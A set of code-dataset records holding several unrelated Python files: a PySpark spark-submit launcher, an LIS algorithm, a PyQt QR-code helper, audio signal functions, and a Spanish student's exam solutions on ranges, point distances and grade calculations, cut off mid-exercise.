ball=Ball(1)\n\n\nscreen.exitonclick()\n","repo_name":"gonzalocdlp/Python_Projects","sub_path":"21Pong/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"75129332267","text":"import argparse\nimport configparser\nimport subprocess\nimport os\nimport sys\nimport logging\nimport zipfile\nimport shutil\n\nfrom backbone_pyspark_deploy.arg_parser import ArgParser\nfrom backbone_pyspark_deploy.logger import create_logger\n\n\ndef set_env(key, value):\n \"\"\"\n\n :param key:\n :param value:\n :return:\n \"\"\"\n\n if os.getenv(key) is None:\n if value is None:\n sys.exit(-1)\n else:\n os.environ[key] = value\n\n return os.getenv(key)\n\n\ndef main():\n \"\"\"\n Entry point for .pex\n\n :return: spark-submit\n \"\"\"\n\n # ------------------------------------------------------------------------------------------------------------------\n # CONFIGURATION FILES default values\n\n CUR_DIR = os.getcwd()\n\n # ------------------------------------------------------------------------------------------------------------------\n # PARSE ARGUMENTS\n\n parser = argparse.ArgumentParser()\n\n parser.add_argument(\"--properties\", metavar=\"FILE\", required=True, help=\"configuration file .ini\")\n parser.add_argument(\"--params\", metavar=\"FILE\", required=True, help=\"parameters file .json\")\n\n parser.add_argument(\"--predict\", action=\"store_true\",\n help=\"train model (--predict not present [default]) or make prediction (--predict)\")\n\n parser.add_argument(\"--spark-home\", metavar=\"SPARK_HOME\", help=\"Path to SPARK_HOME\", required=False)\n parser.add_argument(\"--master\", metavar=\"SPARK MASTER\", help=\"Spark master\", default=None)\n\n parser.add_argument(\"--deploy-mode\", metavar=\"DEPLOY MODE\", choices=[\"cluster\", \"client\"], help=\"Spark deploy mode\",\n default=None)\n\n parser.add_argument(\"--num-executors\", metavar=\"\", help=\"Number of executors (ex: 2)\", default=None)\n parser.add_argument(\"--executor-memory\", metavar=\"\", help=\"Executor memory (ex: 8G)\", default=None)\n parser.add_argument(\"--executor-cores\", metavar=\"\", help=\"Executor cores (ex: 8)\", default=None)\n parser.add_argument(\"--py-files\", metavar=\"PKG\", help=\"Path to .pex file\", default=None)\n parser.add_argument(\"--name\", metavar=\"\", help=\"Application name\", default=None)\n\n parser.add_argument(\"log-path\", metavar=\"FILE\", help=\"Path to log file\", default=None)\n\n args = parser.parse_args()\n\n # Load run_config.ini file\n runconf = configparser.ConfigParser()\n runconf.read(args.properties)\n\n arg_parser_ini = ArgParser(args=vars(args), config_file=runconf)\n\n # logger\n log_path = arg_parser_ini.arg_parse(argument_key=\"log_path\", config_section=\"logging\", config_key=\"log-path\")\n logger = create_logger(name=\"backone_pyspark_deploy\", level=logging.DEBUG, log_file_path=log_path)\n\n # spark-home\n spark_home = arg_parser_ini.arg_parse(argument_key=\"spark_home\", config_section=\"spark-cli\", config_key=\"spark-home\")\n set_env(\"SPARK_HOME\", spark_home)\n\n logger.debug(\"SPARK HOME: {}\".format(os.getenv(\"SPARK_HOME\")))\n\n # master\n master = arg_parser_ini.arg_parse(argument_key=\"master\", config_section=\"spark-cli\", config_key=\"master\")\n logger.debug(\"Master parameter: {}\".format(master))\n\n # deploy-mode\n deploy_mode = arg_parser_ini.arg_parse(argument_key=\"deploy_mode\", config_section=\"spark-cli\",\n config_key=\"deploy-mode\")\n logger.debug(\"Deploy mode parameter: {}\".format(deploy_mode))\n\n # num-executors\n num_executors = arg_parser_ini.arg_parse(argument_key=\"num_executors\", config_section=\"spark-cli\",\n config_key=\"num-executors\")\n logger.debug(\"Number executors parameter: {}\".format(num_executors))\n\n # executor-memory\n executor_memory = arg_parser_ini.arg_parse(argument_key=\"executor_memory\", config_section=\"spark-cli\",\n config_key=\"executor-memory\")\n logger.debug(\"Executor memory parameter: {}\".format(executor_memory))\n\n # executor-cores\n executor_cores = arg_parser_ini.arg_parse(argument_key=\"executor_cores\", config_section=\"spark-cli\",\n config_key=\"executor-cores\")\n logger.debug(\"Executor cores parameter: {}\".format(executor_cores))\n\n # py-files\n py_files = arg_parser_ini.arg_parse(argument_key=\"py_files\", config_section=\"spark-cli\", config_key=\"py-files\")\n logger.debug(\"Py files parameter: {}\".format(py_files))\n\n # name\n name = arg_parser_ini.arg_parse(argument_key=\"name\", config_section=\"spark-cli\", config_key=\"name\")\n logger.debug(\"Name parameter: {}\".format(name))\n\n zip_list = os.listdir(os.path.join(spark_home, \"python\", \"lib\"))\n\n sys.path.append([os.path.join(spark_home, \"python\", \"lib\", zip_file) for zip_file in zip_list])\n\n # ------------------------------------------------------------------------------------------------------------------\n # UNZIP PEX\n\n pex = sys.argv[0]\n logger.debug(\"PEX: {}\".format(pex))\n\n zipper = zipfile.ZipFile(pex)\n zipper.extractall(path=os.path.join(CUR_DIR, \".backbone_pyspark_deploy\"))\n\n # ------------------------------------------------------------------------------------------------------------------\n # SPARK SUBMIT\n\n backbone_pyspark_egg = \"\"\n egg_list = os.listdir(os.path.join(CUR_DIR, \".backbone_pyspark_deploy\", \".deps\"))\n logger.debug(\"egg-list: {}\".format(str(egg_list)))\n py_files = (\"\" if py_files is None else py_files)\n\n for egg in egg_list:\n zipped = shutil.make_archive(base_name=egg, format=\"zip\",\n root_dir=os.path.join(CUR_DIR, \".backbone_pyspark_deploy\", \".deps\", egg))\n logger.debug(\"zipped: {}\".format(zipped))\n if \"backbone_pyspark_deploy\" in egg:\n backbone_pyspark_egg = egg\n logger.debug(\"backbone_pyspark_egg: {}\".format(backbone_pyspark_egg))\n py_files += \",\" + os.path.join(CUR_DIR, \".backbone_pyspark_deploy\", \".deps\", zipped)\n py_files = py_files.strip(\",\")\n\n spark_conf_list = arg_parser_ini.spark_conf_list()\n\n logger.debug(\"--py-files: {}\".format(py_files))\n\n config_files = args.properties + \",\" + args.params + \",\" + os.path.join(spark_home, \"conf\", \"hive-site.xml\")\n\n logger.debug(\"--files: {}\".format(config_files))\n\n logger.debug(\"--params: {}\".format(args.params))\n\n logger.debug(\"--predict: {}\".format(args.predict))\n\n logger.debug(\"--log-path: {}\".format(log_path))\n\n spark_submit = os.path.join(spark_home, \"bin\", \"spark-submit\")\n\n predict = int(args.predict)\n\n params = (os.path.join(args.params) if deploy_mode == \"cluster\" else args.params)\n\n cmd = [\n spark_submit,\n \"--master\", master,\n \"--deploy-mode\", deploy_mode,\n \"--num-executors\", num_executors,\n \"--executor-memory\", executor_memory,\n \"--executor-cores\", executor_cores,\n \"--name\", name,\n \"--files\", config_files,\n \"--py-files\", py_files\n ] + spark_conf_list + \\\n [\n os.path.join(CUR_DIR, \".backbone_pyspark_deploy\", \".deps\",\n backbone_pyspark_egg, \"backbone_pyspark_deploy\", \"driver.py\"),\n \"--params\", params,\n \"--predict\", str(predict),\n \"--log-path\", log_path\n ]\n\n logger.debug(\"cmd spark-submit: {}\".format(str(cmd)))\n\n subprocess.run(cmd)\n\n\nif __name__ == \"__main__\":\n try:\n main()\n except Exception as e:\n logging.error(\"Error in main\", )\n\n\n","repo_name":"giulbia/backbone_pyspark_deploy","sub_path":"backbone_pyspark_deploy/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7503,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"13080618091","text":"from typing import List\n\n# brute force \ndef LIS(nums: List[int]) -> int:\n if not nums:\n return 0\n ret = 0\n for i, n in enumerate(nums):\n temp = 1\n last_val = n\n for m in nums[i+1:]:\n if m > last_val:\n temp += 1\n last_val = m\n\n ret = max(ret, temp)\n\n return ret\n\nprint(LIS([10,9,2,5,3,7,101,18]))\n\n\n# lower bound\n\nclass Solution():\n def lengthOfLIS(self, nums: List[int]) -> int:\n if not nums:\n return 0\n seq = []\n for n in nums:\n p = self.lower_bound(seq, n)\n if p == len(seq):\n seq.append(n)\n else:\n seq[p] = n\n\n return len(seq)\n\n def lower_bound(self, nums: List[int], target: int) -> int:\n l, r = 0, len(nums)\n\n while l < r:\n mid = (l + r) // 2\n\n if nums[mid] >= target:\n r = mid\n else:\n l = mid + 1\n\n return l\n\ns = Solution();\n\nprint(s.lengthOfLIS([10,9,2,5,3,7,101,18]))\n","repo_name":"alfmunny/coding-practice","sub_path":"300.py","file_name":"300.py","file_ext":"py","file_size_in_byte":900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"72181809387","text":"from qrcode.image.base import BaseImage\nfrom qrcode import make as makeqr\nfrom PyQt5.QtGui import QPixmap, QImage, QPainter\nfrom PyQt5.QtCore import Qt\n\nclass PixmapImage(BaseImage):\n \"\"\"\n A way to create Qt-Compatible qr codes and turn them to pixmaps\n \"\"\"\n def __init__(self, border, width, box_size):\n self.border = border\n self.width = width\n self.box_size = box_size\n size = (width + border * 2) * box_size\n self._image = QImage(\n size, size, QImage.Format_RGB16)\n self._image.fill(Qt.white)\n\n def pixmap(self):\n return QPixmap.fromImage(self._image)\n\n def drawrect(self, row, col):\n painter = QPainter(self._image)\n painter.fillRect(\n (col + self.border) * self.box_size,\n (row + self.border) * self.box_size,\n self.box_size, self.box_size,\n Qt.black)\n\n def save(self, stream, kind=None):\n pass\n\ndef genqrpixmap(data: str):\n \"\"\"\n Creates a qr pixmap with the given data\n \"\"\"\n return makeqr(data, image_factory=PixmapImage).pixmap().scaled(150,150)","repo_name":"giorgiolongo/SpaghettiQueue","sub_path":"spaghettiqueue/qr.py","file_name":"qr.py","file_ext":"py","file_size_in_byte":1111,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"37"} +{"seq_id":"17268181602","text":"import pandas as pd\nimport numpy as np\n\n\ndef envelope(signal, rate, threshold):\n mask = []\n y = pd.Series(signal).apply(np.abs)\n y_mean = y.rolling(window=int(rate/10), min_periods=1, center=True).mean()\n for mean in y_mean:\n if mean > threshold:\n mask.append(True)\n else:\n mask.append(False)\n\n return mask\n\n\ndef calc_fft(signal, rate):\n n = len(signal)\n freq = np.fft.rfftfreq(n, d=1 / rate)\n Y = abs(np.fft.rfft(signal) / n)\n # print(\"======================================\")\n # print(Y)\n # print(\"======================================\")\n # print(freq)\n return Y, freq\n","repo_name":"isurusamarasekara/Speech-Emotion-Recognition","sub_path":"back_end/calculations.py","file_name":"calculations.py","file_ext":"py","file_size_in_byte":647,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"4196984705","text":"\"\"\"Recomendaciones:\n - Recuerde almacenar las respuestas tal como se pide en cada ejercicio\n - Se resuelve de manera individual, la copia será anulada.\n - Muestre sus procedimientos de manera clara\"\"\"\n\n# nombre_completo = \"Jhanth Carlo Castillo Perez\" #Por favor ingrese su nombre en las comillas\n\n#------------------------ EJERCICIO 1 --------------------------------\n\"\"\"\nCree los siguientes rangos (tipo range()): \n rango1 => 334, 331, 328, 325, ... 4, 1\n rango2 => -5,-3,-1, 1, 3, 5, ... 999\n rango3 => -50, -55, -60, -65, -70, ... -195, -200\nDespués de obtener los rangos, almacenelos de la siguiente manera:\nlistaDeRangos = [rango1, rango2, rango3]\n\"\"\"\nprint(\"\\n----- EJERCICIO 1 -----\")\n\nrango1= range(334, 0,-3)\nrango2= range(-5, 1000, 2)\nrango3= range(-50, -201, -5)\n\nlistaDeRangos = [rango1, rango2, rango3]\nprint(listaDeRangos)\n\n#------------------------ EJERCICIO 2 --------------------------------\n\"\"\"\nDados los siguientes puntos geométricos:\n\"P1\" ==> (2, 2, 3) \"P6\" ==> (1, 0.5, 1)\n\"P2\" ==> (2, 3, 4) \"P7\" ==> (3, 2, 0.5)\n\"P3\" ==> (1, 1, 3) \"P8\" ==> (3, 1, 2)\n\"P4\" ==> (0.5, 0.5, 2) \"P9\" ==> (0, 0, 0)\n\"P5\" ==> (1, 2, 1) \"P10\" ==> (2, 0, 0.5) \nDetermine el par de puntos que se encuentran más cercanos.\nAlmacene la respuesta en un string llamado parCercano. Ejemplo:\nparCercano = \"P2-P3\" \n\"\"\"\nprint(\"\\n----- EJERCICIO 2 -----\")\n\n\"distancia = ((x1-x2)**2 + (y1-y2)**2 + (z1-z2)**2)**(1/2)\"\n\n# Se calcula la distancia entre cada punto.\n\"Con respecto al P1\"\nD1_2=((2-2)**2+(2-3)**2+(3-4)**2)**1/2\nD1_3=((2-1)**2+(2-1)**2+(3-3)**2)**1/2\nD1_4=((2-0.5)**2+(2-0.5)**2+(3-2)**2)**1/2\nD1_5=((2-1)**2+(2-2)**2+(3-1)**2)**1/2\nD1_6=((2-1)**2+(2-0.5)**2+(3-1)**2)**1/2\nD1_7=((2-3)**2+(2-2)**2+(3-0.5)**2)**1/2\nD1_8=((2-3)**2+(2-1)**2+(3-2)**2)**1/2\nD1_9=((2-0)**2+(2-0)**2+(3-0)**2)**1/2\nD1_10=((2-2)**2+(2-0)**2+(3-0.5)**2)**1/2\n\n\"Con respecto al P2\"\nD2_3=((2-1)**2+(3-1)**2+(4-3)**2)**1/2\nD2_4=((2-0.5)**2+(3-0.5)**2+(4-2)**2)**1/2\nD2_5=((2-1)**2+(3-2)**2+(4-1)**2)**1/2\nD2_6=((2-1)**2+(3-0.5)**2+(4-1)**2)**1/2\nD2_7=((2-3)**2+(3-2)**2+(4-0.5)**2)**1/2\nD2_8=((2-3)**2+(3-1)**2+(4-2)**2)**1/2\nD2_9=((2-0)**2+(3-0)**2+(4-0)**2)**1/2\nD2_10=((2-2)**2+(3-0)**2+(4-0.5)**2)**1/2\n\n\"Con respecto al P3\"\nD3_4=((1-0.5)**2+(1-0.5)**2+(3-2)**2)**1/2\nD3_5=((1-1)**2+(1-2)**2+(3-1)**2)**1/2\nD3_6=((1-1)**2+(1-0.5)**2+(3-1)**2)**1/2\nD3_7=((1-3)**2+(1-2)**2+(3-0.5)**2)**1/2\nD3_8=((1-3)**2+(1-1)**2+(3-2)**2)**1/2\nD3_9=((1-0)**2+(1-0)**2+(3-0)**2)**1/2\nD3_10=((1-2)**2+(1-0)**2+(3-0.5)**2)**1/2\n\n\"Con respecto al P4\"\nD4_5=((0.5-1)**2+(0.5-2)**2+(2-1)**2)**1/2\nD4_6=((0.5-1)**2+(0.5-0.5)**2+(2-1)**2)**1/2\nD4_7=((0.5-3)**2+(0.5-2)**2+(2-0.5)**2)**1/2\nD4_8=((0.5-3)**2+(0.5-1)**2+(2-2)**2)**1/2\nD4_9=((0.5-0)**2+(0.5-0)**2+(2-0)**2)**1/2\nD4_10=((0.5-2)**2+(0.5-0)**2+(2-0.5)**2)**1/2\n\n\"Con respecto al P5\"\nD5_6=((1-1)**2+(2-0.5)**2+(1-1)**2)**1/2\nD5_7=((1-3)**2+(2-2)**2+(1-0.5)**2)**1/2\nD5_8=((1-3)**2+(2-1)**2+(1-2)**2)**1/2\nD5_9=((1-0)**2+(2-0)**2+(1-0)**2)**1/2\nD5_10=((1-2)**2+(2-0)**2+(1-0.5)**2)**1/2\n\n\"Con respecto al P6\"\nD6_7=((1-3)**2+(0.5-2)**2+(1-0.5)**2)**1/2\nD6_8=((1-3)**2+(0.5-1)**2+(1-2)**2)**1/2\nD6_9=((1-0)**2+(0.5-0)**2+(1-0)**2)**1/2\nD6_10=((1-2)**2+(0.5-0)**2+(1-0.5)**2)**1/2\n\n\"Con respecto al P7\"\nD7_8=((3-3)**2+(2-1)**2+(0.5-2)**2)**1/2\nD7_9=((3-0)**2+(2-0)**2+(0.5-0)**2)**1/2\nD7_10=((3-2)**2+(2-0)**2+(0.5-0.5)**2)**1/2\n\n\"Con respecto al P8\"\nD8_9=((3-0)**2+(1-0)**2+(2-0)**2)**1/2\nD8_10=((3-2)**2+(1-0)**2+(2-0.5)**2)**1/2\n\n\"Con respecto al P9\"\nD9_10=((0-2)**2+(0-0)**2+(0-0.5)**2)**1/2 # Para la distancia del punto 9-10 no es necesario una lista\n\n\"Listas de distancias asociadas a un punto\"\nlist_D1=[D1_2, D1_3, D1_4, D1_5, D1_6, D1_7, D1_8, D1_9, D1_10] \nlist_D2=[D2_3, D2_4, D2_5, D2_6, D2_7, D2_8, D2_9, D2_10]\nlist_D3=[D3_4,D3_5,D3_6,D3_7,D3_8,D3_9,D3_10]\nlist_D4=[D4_5,D4_6,D4_7,D4_8,D4_9,D4_10]\nlist_D5=[D5_6,D5_7,D5_8,D5_9,D5_10]\nlist_D6=[D6_7,D6_8,D6_9,D6_10]\nlist_D7=[D7_8,D7_9,D7_10]\nlist_D8=[D8_9,D8_10]\n\n# Valor minimo de cada lista de distancias y se guardan en una nueva lista\nlist_min=[min(list_D1),min(list_D2),min(list_D3),min(list_D4),min(list_D5),min(list_D6),min(list_D7),min(list_D8),D9_10]\nGeodesica=min(list_min) # Saca la distancia minima de las distancias mas bajas encontradas\n\n# Se busca los puntos que corresponden a esa distancia mínima\nif Geodesica==(min(list_D1)):\n if Geodesica==(D1_2):\n parCercano=\"P1-P2\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D1_3):\n parCercano=\"P1-P3\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D1_4):\n parCercano=\"P1-P4\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D1_5):\n parCercano=\"P1-P5\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D1_6):\n parCercano=\"P1-P6\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D1_7):\n parCercano=\"P1-P7\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D1_8):\n parCercano=\"P1-P8\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D1_9):\n parCercano=\"P1-P9\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D1_10):\n parCercano=\"P1-P10\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n\nif Geodesica==(min(list_D2)):\n if Geodesica==(D2_3):\n parCercano=\"P2-P3\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D2_4):\n parCercano=\"P2-P4\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D2_5):\n parCercano=\"P2-P5\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D2_6):\n parCercano=\"P2-P6\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D2_7):\n parCercano=\"P2-P7\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D2_8):\n parCercano=\"P2-P8\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D2_9):\n parCercano=\"P2-P9\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D2_10):\n parCercano=\"P2-P10\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n\nif Geodesica==(min(list_D3)):\n if Geodesica==(D3_4):\n parCercano=\"P3-P4\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D3_5):\n parCercano=\"P3-P5\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D3_6):\n parCercano=\"P3-P6\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D3_7):\n parCercano=\"P3-P7\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D3_8):\n parCercano=\"P3-P8\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D3_9):\n parCercano=\"P3-P9\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D3_10):\n parCercano=\"P3-P10\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n\nif Geodesica==(min(list_D4)):\n if Geodesica==(D4_5):\n parCercano=\"P4-P5\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D4_6):\n parCercano=\"P4-P6\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D4_7):\n parCercano=\"P4-P7\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D4_8):\n parCercano=\"P4-P8\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D4_9):\n parCercano=\"P4-P9\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D4_10):\n parCercano=\"P4-P10\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n\nif Geodesica==(min(list_D5)):\n if Geodesica==(D5_6):\n parCercano=\"P5-P6\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D5_7):\n parCercano=\"P5-P7\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D5_8):\n parCercano=\"P5-P8\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D5_9):\n parCercano=\"P5-P9\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D5_10):\n parCercano=\"P5-P10\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n\nif Geodesica==(min(list_D6)):\n if Geodesica==(D6_7):\n parCercano=\"P6-P7\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D6_8):\n parCercano=\"P6-P8\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D6_9):\n parCercano=\"P6-P9\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D6_10):\n parCercano=\"P6-P10\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n\nif Geodesica==(min(list_D7)):\n if Geodesica==(D7_8):\n parCercano=\"P7-P8\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D7_9):\n parCercano=\"P7-P9\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D7_10):\n parCercano=\"P7-P10\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n\nif Geodesica==(min(list_D8)):\n if Geodesica==(D8_9):\n parCercano=\"P8-P9\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n elif Geodesica==(D8_10):\n parCercano=\"P8-P10\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\n\nif Geodesica==(D9_10):\n if Geodesica==(D9_10):\n parCercano=\"P9-P10\"\n print(\"El par mas cercano es el punto\",parCercano,\"con\",Geodesica)\nparCercano=parCercano\n\n\n#------------------------ EJERCICIO 3 --------------------------------\n\"\"\"\nLa calificación de informatica se encuentra en el intervalo [0,5] y se calcula tomando 5 notas, \ncon porcentajes de 10%, 20%, 15%, 20% y 35%. La materia se aprueba por encima de 3.0\nLos siguientes estudiantes tienen las primeras 4 calificaciones definidas.\ncod Nombre Nota1 Nota2 Nota3 Nota4 Nota 5\n01 Miguel Pineda 1.0 1.1 2.3 1.1 ?\n02 Maria Gonzalez 3.1 3.1 1.2 3.0 ?\n03 Jose Nuñez 5.0 4.0 2.5 5.0 ?\n04 Angelica Lozano 3.1 1.0 2.6 1.0 ?\n05 Camilo Suarez 3.2 4.0 1.1 3.0 ?\n06 Mariana Rosero 5.0 5.0 5.0 3.9 ?\n07 Esteban Quesada 3.4 4.0 2.6 3.2 ?\n08 Julia Quintero 2.0 2.2 2.1 4.2 ?\n09 Mauricio Lizcano 3.7 4.1 4.7 4.0 ?\n10 Angie Gomez 4.1 4.7 4.4 5.0 ?\n11 Camilo Restrepo 5.0 5.0 1.0 3.2 ?\n12 Mauricio Velazquez 5.0 4.2 2.1 5.0 ?\n13 Esteban Rodriguez 3.2 4.1 2.2 3.3 ?\n Determine cuantos estudiantes pierden aúnque obtengan la mejor nota_5\n Determine cuantos estudiantes ganan aunque obtengan la peor nota_5\n Determine cuantos estudiantes tienen posibilidades de pasar\n Almacene sus resultados en una lista llamada estudiantes, tal como se muestra:\n estudiantes = [Cantidad_que_pierden, Cantidad_que_ganan, Cantidad_con_posibilidades]\n\"\"\"\n\nprint(\"\\n----- EJERCICIO 3 -----\")\n\n# Calcula la nota que lleva el alumno, sin contar la Nota 5\nStud_01=(1*0.10)+(1.1*0.20)+(2.3*0.15)+(1.1*0.20)\nStud_02=(3.1*0.10)+(3.1*0.20)+(1.2*0.15)+(3*0.20)\nStud_03=(5*0.10)+(4*0.20)+(2.5*0.15)+(5*0.20)\nStud_04=(3.1*0.10)+(1*0.20)+(2.6*0.15)+(1*0.20)\nStud_05=(3.2*0.10)+(4*0.20)+(1.1*0.15)+(3*0.20)\nStud_06=(5*0.10)+(5*0.20)+(5*0.15)+(3.9*0.20)\nStud_07=(3.4*0.10)+(4*0.20)+(2.6*0.15)+(3.2*0.20)\nStud_08=(2*0.10)+(2.2*0.20)+(2.1*0.15)+(4.2*0.20)\nStud_09=(3.7*0.10)+(4.1*0.20)+(4.7*0.15)+(4*0.20)\nStud_10=(4.1*0.10)+(4.7*0.20)+(4.4*0.15)+(5*0.20)\nStud_11=(5*0.10)+(5*0.20)+(1*0.15)+(3.2*0.20)\nStud_12=(5*0.10)+(4.2*0.20)+(2.1*0.15)+(5*0.20)\nStud_13=(3.2*0.10)+(4.1*0.20)+(2.2*0.15)+(3.3*0.20)\n\n\"Esta es la mejor nota 5\"\nnota_5=5*0.35 \n\n# 1-1. Compara la nota final con la mejor nota 5 y si es verdadero, el alumno pierde la materia\nB_nota_5_Stud_01 = Stud_01+nota_5 < 3\nB_nota_5_Stud_02 = Stud_02+nota_5 < 3\nB_nota_5_Stud_03 = Stud_03+nota_5 < 3\nB_nota_5_Stud_04 = Stud_04+nota_5 < 3\nB_nota_5_Stud_05 = Stud_05+nota_5 < 3\nB_nota_5_Stud_06 = Stud_06+nota_5 < 3\nB_nota_5_Stud_07 = Stud_07+nota_5 < 3\nB_nota_5_Stud_08 = Stud_08+nota_5 < 3\nB_nota_5_Stud_09 = Stud_09+nota_5 < 3\nB_nota_5_Stud_10 = Stud_10+nota_5 < 3\nB_nota_5_Stud_11 = Stud_11+nota_5 < 3\nB_nota_5_Stud_12 = Stud_12+nota_5 < 3\nB_nota_5_Stud_13 = Stud_13+nota_5 < 3\n\n# 1-2. Para la condicion 1 si la nota final del alumno es verdad entonces pierde.\npierde=0 # Contador de los que pierden\nif B_nota_5_Stud_01==True:\n pierde=1+pierde\nif B_nota_5_Stud_02==True:\n pierde=1+pierde\nif B_nota_5_Stud_03==True:\n pierde=1+pierde\nif B_nota_5_Stud_04==True:\n pierde=1+pierde\nif B_nota_5_Stud_05==True:\n pierde=1+pierde\nif B_nota_5_Stud_06==True:\n pierde=1+pierde\nif B_nota_5_Stud_07==True:\n pierde=1+pierde\nif B_nota_5_Stud_08==True:\n pierde=1+pierde\nif B_nota_5_Stud_09==True:\n pierde=1+pierde\nif B_nota_5_Stud_10==True:\n pierde=1+pierde\nif B_nota_5_Stud_11==True:\n pierde=1+pierde\nif B_nota_5_Stud_12==True:\n pierde=1+pierde\nif B_nota_5_Stud_13==True:\n pierde=1+pierde\nCantidad_que_pierden=pierde\n\n# 2-1. Verifica quienes ganan la materia con la peor nota 5\nP_nota5_Stud_01 = Stud_01 >=3\nP_nota5_Stud_02 = Stud_02 >=3\nP_nota5_Stud_03 = Stud_03 >=3\nP_nota5_Stud_04 = Stud_04 >=3\nP_nota5_Stud_05 = Stud_05 >=3\nP_nota5_Stud_06 = Stud_06 >=3\nP_nota5_Stud_07 = Stud_07 >=3\nP_nota5_Stud_08 = Stud_08 >=3\nP_nota5_Stud_09 = Stud_09 >=3\nP_nota5_Stud_10 = Stud_10 >=3\nP_nota5_Stud_11 = Stud_11 >=3\nP_nota5_Stud_12 = Stud_12 >=3\nP_nota5_Stud_13 = Stud_13 >=3\n\n# 2-2. Para la condicion 2, si la nota final del alumno es verdadera, entonces gana la materia con la peor nota 5\nganan=0 # Contador de los que ganan\n\nif P_nota5_Stud_01==True:\n ganan=1+ganan\nif P_nota5_Stud_02==True:\n ganan=1+ganan\nif P_nota5_Stud_03==True:\n ganan=1+ganan\nif P_nota5_Stud_04==True:\n ganan=1+ganan\nif P_nota5_Stud_05==True:\n ganan=1+ganan\nif P_nota5_Stud_06==True:\n ganan=1+ganan\nif P_nota5_Stud_07==True:\n ganan=1+ganan\nif P_nota5_Stud_08==True:\n ganan=1+ganan\nif P_nota5_Stud_09==True:\n ganan=1+ganan\nif P_nota5_Stud_10==True:\n ganan=1+ganan\nif P_nota5_Stud_11==True:\n ganan=1+ganan\nif P_nota5_Stud_12==True:\n ganan=1+ganan\nif P_nota5_Stud_13==True:\n ganan=1+ganan\nCantidad_que_ganan=ganan\n\n# 3. Cuenta los demás estudiantes, es decir que tienen posibilidades\nCantidad_con_posibilidades=13-Cantidad_que_pierden-Cantidad_que_ganan\n\n# 4. Almacen de los resultados\nestudiantes=[Cantidad_que_pierden,Cantidad_que_ganan,Cantidad_con_posibilidades]\nprint(\"[pierden,ganan,posibilidades]\")\nprint(estudiantes)\n\n\n#------------------------ EJERCICIO 4 --------------------------------\n\n\"\"\" Seis compañeros, contratan un taxi con el objeto de movilizarse juntos a la universidad. \nEl contrato es de lunes a viernes, y deben pagar al taxista $15000 por cada 